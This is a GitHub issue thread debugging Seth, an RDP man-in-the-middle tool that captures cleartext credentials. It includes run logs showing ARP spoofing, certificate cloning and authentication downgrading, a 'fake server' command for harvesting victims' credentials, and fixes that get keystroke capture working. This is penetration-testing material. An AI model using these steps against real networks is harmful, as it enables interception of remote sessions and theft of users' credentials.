SySS-Research / Seth

Perform a MitM attack and extract clear text credentials from RDP connections
MIT License
1.38k stars 325 forks source link

Seth error out ("NameError: name 'crypto' is not defined") - via Standard RDP Security (NLA not enforced, no TLS) #22

Closed mocredz closed 6 years ago

mocredz commented 6 years ago

Hi all,

I am having an issue getting Seth to work with a RDP connection (see error on the bottom). The server is not enforcing NLA, and the client is configured to using standard RDP security, so that RDP session pops right up and user are prompted user/password inside the RDP session.

The setup is:

Video recording: https://vimeo.com/274944143 Seth error message: https://pastebin.com/GHEQumTx RDP-NoCredSSPSupport-NoServerAuthentication.rdp: https://pastebin.com/DS0NfgnD

When taking out authentication level:i:0 and leaving in enablecredsspsupport:i:0 for the RDP config (video starting minute 1:58), where it has a SSL warning, it will work. If I configured seth.sh to downgrade to level 0 from the default level of 3, it fails with the same error message. Once I add the authentication level:i:0 back in to the RDP config, it fails completely, doesn't matter if seth.sh is set to the default of SETH_DOWNGRADE=3.

I believe this is the authentication level:i:0 config in the RPD profile is breaking Seth, as the default downgrade is level 3, which still requires SSL, so without it, Seth didn't know what to do. However, upon making SETH_DOWNGRADE=0 in seth.sh, the same error still error:

root@kali:~/scripts/Seth# ./seth.sh eth0 172.16.10.{134,50,200}
███████╗███████╗████████╗██╗  ██╗
██╔════╝██╔════╝╚══██╔══╝██║  ██║   by Adrian Vollmer
███████╗█████╗     ██║   ███████║   seth@vollmer.syss.de
╚════██║██╔══╝     ██║   ██╔══██║   SySS GmbH, 2017
███████║███████╗   ██║   ██║  ██║   https://www.syss.de
╚══════╝╚══════╝   ╚═╝   ╚═╝  ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 172.16.10.200
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 172.16.10.50:49509
Downgrading authentication options from 1 to 0
Listening for new connection
Connection lost ([Errno 104] Connection reset by peer)
Connection received from 172.16.10.50:49510
Listening for new connection
Exception in thread Thread-2:
Traceback (most recent call last):
  File "/usr/lib/python3.6/threading.py", line 916, in _bootstrap_inner
    self.run()
  File "/root/scripts/Seth/seth/main.py", line 47, in run
    self.forward_data()
  File "/root/scripts/Seth/seth/main.py", line 173, in forward_data
    data = tamper_data(data, self.vars, From=From)
  File "/root/scripts/Seth/seth/parsing.py", line 313, in tamper_data
    result = replace_server_cert(bytes, vars["crypto"])
  File "/root/scripts/Seth/seth/parsing.py", line 197, in replace_server_cert
    crypto["pubkey_blob"])
  File "/root/scripts/Seth/seth/crypto.py", line 223, in sign_certificate
    return s.to_bytes(len(crypto["sign"]), "little")
NameError: name 'crypto' is not defined
tfriesen commented 6 years ago

Try changing line 223 in seth/crypto.py to

return s.to_bytes(len(cert["sign"]), "little")

And see if that fixes it. (Note that 'crypto' becomes 'cert').

It looks like it's a leftover from a refactoring.

mocredz commented 6 years ago

Thanks @tfriesen, tried changing out that line from 'crypto' to 'cert', now getting a different error. Specifically it is "TypeError: byte indices must be integers or slices, not str". I have uploaded details of this error and another error when I tweak the RDP client config settings differently.

Fixed crypto.py (line 223): https://pastebin.com/bvy8uUhc Video Recording: https://vimeo.com/274976537

authentication level:i:0 = No Server Auth enablecredsspsupport:i:0 = Standard RPD Security (No TLS and no NLA)

authentication level:i:0 authentication level:i:0
authentication level:i:0 SSL Error (at minute 3:06) Type Error (at minute 3:38)
authentication level:i:0 Type Error (at minute 3:38) Works (at minute 0:39)

See below for detailed error messages

Type Error

https://pastebin.com/xZ98UepF

root@kali:~/scripts/Seth# ./seth.sh eth0 172.16.10.{134,50,200}
███████╗███████╗████████╗██╗  ██╗
██╔════╝██╔════╝╚══██╔══╝██║  ██║   by Adrian Vollmer
███████╗█████╗     ██║   ███████║   seth@vollmer.syss.de
╚════██║██╔══╝     ██║   ██╔══██║   SySS GmbH, 2017
███████║███████╗   ██║   ██║  ██║   https://www.syss.de
╚══════╝╚══════╝   ╚═╝   ╚═╝  ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 172.16.10.200
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 172.16.10.50:49421
Listening for new connection
Exception in thread Thread-1:
Traceback (most recent call last):
  File "/usr/lib/python3.6/threading.py", line 916, in _bootstrap_inner
    self.run()
  File "/root/scripts/Seth/seth/main.py", line 47, in run
    self.forward_data()
  File "/root/scripts/Seth/seth/main.py", line 173, in forward_data
    data = tamper_data(data, self.vars, From=From)
  File "/root/scripts/Seth/seth/parsing.py", line 313, in tamper_data
    result = replace_server_cert(bytes, vars["crypto"])
  File "/root/scripts/Seth/seth/parsing.py", line 197, in replace_server_cert
    crypto["pubkey_blob"])
  File "/root/scripts/Seth/seth/crypto.py", line 223, in sign_certificate
    return s.to_bytes(len(cert["sign"]), "little")
TypeError: byte indices must be integers or slices, not str

SSL Error

https://pastebin.com/RkLTUJaE

root@kali:~/scripts/Seth# ./seth.sh eth0 172.16.10.{134,50,200}
███████╗███████╗████████╗██╗  ██╗
██╔════╝██╔════╝╚══██╔══╝██║  ██║   by Adrian Vollmer
███████╗█████╗     ██║   ███████║   seth@vollmer.syss.de
╚════██║██╔══╝     ██║   ██╔══██║   SySS GmbH, 2017
███████║███████╗   ██║   ██║  ██║   https://www.syss.de
╚══════╝╚══════╝   ╚═╝   ╚═╝  ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 172.16.10.200
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 172.16.10.50:49425
Listening for new connection
Downgrading authentication options from 11 to 3
Enable SSL
Not using RC4-SHA because of SSL Error: ('No cipher can be selected.',)
TLS alert internal error received, make sure to use RC4-SHA
Connection received from 172.16.10.50:49426
Listening for new connection
Downgrading authentication options from 11 to 3
Enable SSL
Not using RC4-SHA because of SSL Error: ('No cipher can be selected.',)
TLS alert internal error received, make sure to use RC4-SHA
tfriesen commented 6 years ago

Ok, so clearly I am not the developer of this tool, so take my suggestions with a grain of salt.

Looking at the code a bit more closely, it looks like sign_certificate() needs more information from replace_server_cert(). Easiest fix would be to modify the signature of sign_certificate() to include 'crypto',

def sign_certificate(cert, crypto):

and change the calls to sign_certificate in parsing.py on lines 196 and 206 so that 'crypto' is also passed in as the second argument. Revert the earlier change.

Unless len(crypto["sign"]) is constant, in which case that could just be substituted in. I don't know what that would be, off the top of my head.

mocredz commented 6 years ago

Thanks @tfriesen! I will dig through the code a bit more to understand it. With the client RDP config, we need to bypass the whole SSL portion entirely in the code, as it is already communicating at the lowest security level without TLS support -- so I just need to find out where in the code to bypass processing those TLS handshake. Really appreciate it again!

AdrianVollmer commented 6 years ago

You seem to be the first one to encounter standard RDP security within the entire last year :)

Or at least the first one who gave feedback. It used to work, but maybe something broke it while doing other changes it. I'll take a look. Thanks for reporting

AdrianVollmer commented 6 years ago

@tfriesen was right. At some point I refactored without testing standard RDP security. Sorry about that, should work now. Please test the latest commit

mocredz commented 6 years ago

Thanks @AdrianVollmer! I was as surprise to see standard RDP security being used also. I guess this is needed for the 2FA solution being implemented so user are not prompted to enter in the AD cred, but instead provide the option to put in the PIN or passcode upon seeing the RDP session's login prompt.

I will pull the old code from your first commit to see if that works and report back.

In another test, I was able to setup the iptables to do a redirect traffic to another rogue RDP server, since the authentication level:i:0 and enablecredsspsupport:i:0 settings in RDP performs no authentication and don't use TLS. With arpspoof it should work fairly seamless to redirect those unauthenticated RDP traffic. Right now, I am looking for a solution to capture credentials via a RDP server of my own, not sure if there are already existing tools out there for that already?

mocredz commented 6 years ago

Ha ha, I just saw your reply. Thanks @AdrianVollmer, I will pull the latest commit to give that a try. Really appreciate it. Will report back!

AdrianVollmer commented 6 years ago

Right now, I am looking for a solution to capture credentials via a RDP server of my own, not sure if there are already existing tools out there for that already?

So Seth supports a "fake server" mode, where it grabs the credentials from the victim without talking to the genuine host at all. The connection is lost right after that, but at that point it's game over anyway.

You can run it like so:

./seth.py -f -c /tmp/syss.de:443.cert -k /tmp/syss.de:443.key  somearbitraryhostname

The cert file and key file can be cloned from an existing certificate with clone-cert.sh.

mocredz commented 6 years ago

Thanks @AdrianVollmer, I just pulled the latest commit and retested. There is no error, but it did not capture the keystrokes. Since the we are not supplying it with a password pre-RDP session, there will not be any NTLM hash captured, however, the keystroke also does not appear to be captured either.

Video Recording: https://vimeo.com/275026674 Seth output (no error): https://pastebin.com/bwx21X9y

AdrianVollmer commented 6 years ago

Hmm, I'm seeing them on my test setup.

could you please run it with SETH_DEBUG=1 ./seth.sh ... and post the output? Make sure to install python-hexdump, e.g. with pip3 install hexdump. The pastebin link doesn't work for me btw.

mocredz commented 6 years ago

Sorry, typo in the pastebin link, that is fixed now above. Turning debug on and installing hexdump.

mocredz commented 6 years ago

Hi @AdrianVollmer, here is the debug log. I also attached a video of me running the script with debug mode turned on, it does appears it is capturing the keystroke, just not displaying them in the regular output.

Debug log: Seth-debug.log Video recording: https://vimeo.com/275032282

AdrianVollmer commented 6 years ago

Yeah, it's not parsing it properly. Your windows version is doing it differently than mine. Try 09a6267

mocredz commented 6 years ago

Vimeo seems to be taking its time converting my video upload.

mocredz commented 6 years ago

Thanks @AdrianVollmer, I tried the latest commit https://github.com/SySS-Research/Seth/commit/09a6267121c7e97ca59b268b76fb81c0343112b2 it is not parsing it correctly, however, I am able to see that in debug mode the text are coming across. Any pointers on fixing it?

mocredz commented 6 years ago

Hi @AdrianVollmer, I discovered this combination of custom RDP config works for keyboard capture: RDP-NoCredSSPSupport.rdp

But the following doesn't: RDP-NoServerAuthentication.rdp.txt <-- (no enablecredsspsupport declaration)

Will post video in a bit.

mocredz commented 6 years ago

This video shows keystroke capture works with no issue when authentication level:i:2, which is going through TLS. So I think the parsing inside the standard RDP security still having issue. I will take a deeper look at your for the regex to see if I can decipher what is what.

Video recording: https://vimeo.com/275039302

Thank you so much for all your help again @AdrianVollmer!